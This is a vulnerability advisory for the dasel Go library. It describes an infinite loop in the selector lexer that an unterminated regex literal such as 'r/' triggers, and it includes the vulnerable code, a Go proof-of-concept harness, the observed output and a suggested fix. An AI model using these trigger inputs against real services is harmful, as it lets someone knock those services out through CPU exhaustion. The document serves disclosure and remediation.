Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal

Summary

dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:

matchRegexPattern := func(pos int) *Token {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil
    }
    start := pos
    pos += 2
    for !p.peekRuneEqual(pos, '/') {  // line 243
        pos++
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}

When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.

Minimal trigger: r/ (2 bytes)

Test environment:

• MacBook Air (Apple M2), macOS / Darwin arm64
• Go 1.26.1
• dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
	"fmt"
	"runtime"
	"time"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{"r/unterminated", "r/"} {
		fmt.Printf("Input: %s\n", input)
		done := make(chan string, 1)
		go func() {
			t := lexer.NewTokenizer(input)
			start := time.Now()
			tokens, err := t.Tokenize()
			elapsed := time.Since(start)
			if err != nil {
				done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
			} else {
				done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
			}
		}()

		select {
		case result := <-done:
			fmt.Println(result)
		case <-time.After(5 * time.Second):
			fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
		}
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Impact

An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:

• Web applications using dasel for dynamic data querying
• Applications that construct selectors from user input
• Shared tooling environments where selectors are passed as parameters

Suggested Fix

The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:

matchRegexPattern := func(pos int) (*Token, error) {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil, nil
    }
    start := pos
    pos += 2
    for pos < p.srcLen && p.src[pos] != '/' {
        pos++
    }
    if pos >= p.srcLen {
        return nil, &UnexpectedEOFError{Pos: pos}
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}